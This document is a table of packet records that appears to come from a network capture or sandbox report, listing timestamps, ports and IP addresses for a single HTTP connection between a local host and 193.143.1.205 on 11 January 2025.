Jan 11, 2025 02:46:51.887480974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.887492895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.887512922 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:51.887531996 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:51.887700081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.887712955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.887725115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.887742043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.887754917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.887761116 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:51.887789965 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:51.888219118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.888238907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.888251066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.888264894 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:51.888295889 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:51.888474941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.888492107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.888504982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.888515949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.888529062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.888537884 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:51.888540983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.888547897 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:51.888581038 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:51.888617039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.888629913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.888641119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.888684034 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:51.889081001 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:51.889221907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.889234066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.889245033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.889264107 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:51.889276981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.889290094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.889296055 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:51.889302015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.889313936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.889342070 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:51.889365911 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:51.889401913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.889414072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.889456034 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:51.900563002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.900583982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.900594950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.900604963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.900644064 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:51.900659084 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:51.901397943 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:51.925721884 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:51.944839954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.944868088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.944880009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.945085049 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:51.948412895 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:51.960642099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.960659027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.960671902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.960766077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.960777998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.960791111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.960810900 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:51.960810900 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:51.960824966 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:51.960844040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.960855961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.960875988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.960887909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.960895061 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:51.960900068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.960918903 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:51.960944891 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:51.971506119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.971527100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.971538067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.971587896 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:51.971649885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.971796036 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:51.973198891 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:51.973355055 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:51.990775108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.990789890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.990801096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.990822077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.990834951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.990849018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.990904093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.990916014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.990964890 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:51.990964890 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:51.991025925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.991038084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.991049051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.991060019 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:51.991090059 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.001718998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.001733065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.001804113 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.001812935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.001827955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.001837969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.001904964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.001916885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.001964092 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.001964092 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.002003908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.002013922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.002026081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.002043009 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.002043009 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.002049923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.002062082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.002073050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.002095938 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.002127886 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.002149105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.002172947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.002185106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.002212048 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.002276897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.002288103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.002299070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.002319098 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.002348900 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.002384901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.002429008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.002439976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.002469063 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.002568960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.002579927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.002590895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.002604008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.002613068 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.002640009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.002643108 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.002652884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.002686977 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.002823114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.002832890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.002866983 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.003016949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.003063917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.003070116 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.003076077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.003118038 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.003176928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.003192902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.003205061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.003216028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.003225088 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.003251076 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.003273964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.003355980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.003365993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.003400087 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.003401041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.003412962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.003423929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.003447056 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.003487110 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.003514051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.003525972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.003541946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.003557920 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.003667116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.003679037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.003691912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.003703117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.003705978 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.003731012 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.003798962 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.003835917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.003848076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.003879070 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.006702900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.006725073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.006758928 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.006866932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.006906986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.006912947 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.006917953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.006958008 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.007045984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.007056952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.007075071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.007091045 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.007091999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.007103920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.007113934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.007126093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.007136106 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.007155895 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.007220030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.007231951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.007241011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.007260084 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.007293940 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.007297039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.007308006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.007324934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.007349014 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.007370949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.007383108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.007394075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.007405996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.007414103 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.007446051 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.007522106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.007534027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.007544994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.007565022 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.007580996 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.007601023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.007611990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.007623911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.007644892 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.007709980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.007723093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.007761955 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.007817984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.007857084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.007864952 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.007868052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.007911921 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.007935047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.007947922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.007993937 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.008085966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.008106947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.008122921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.008132935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.008146048 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.008152008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.008162975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.008173943 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.008174896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.008199930 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.008220911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.008234978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.008245945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.008258104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.008264065 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.008269072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.008290052 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.008320093 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.016899109 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.047720909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.047736883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.047755957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.047766924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.047779083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.047799110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.047810078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.047848940 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.047861099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.047894955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.047911882 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.058435917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.058478117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.058490038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.058542967 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.058571100 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.058595896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.058608055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.058619976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.058630943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.058656931 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.058681965 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.059899092 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.077594995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.077626944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.077640057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.077651978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.077663898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.077677965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.077721119 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.077768087 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.077780008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.077792883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.077805042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.077826023 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.077851057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.077893972 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.077923059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.077935934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.077948093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.077960014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.077970982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.077970982 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.077992916 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.078049898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.078092098 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.089020967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.089032888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.089047909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.089092970 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.089104891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.089118004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.089129925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.089143038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.089150906 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.089199066 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.089241982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.089255095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.089302063 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.089308023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.089318037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.089329004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.089339972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.089346886 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.089376926 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.089490891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.089503050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.089514971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.089534044 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.089560986 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.089623928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.089634895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.089643955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.089657068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.089665890 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.089668036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.089679956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.089688063 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.089725018 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.089754105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.089767933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.089778900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.089792013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.089817047 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.089843988 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.089860916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.089875937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.089909077 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:52.089930058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.089988947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.090002060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:52.090013981 CET	80	49704	193.143.1.205	192.168.2.5
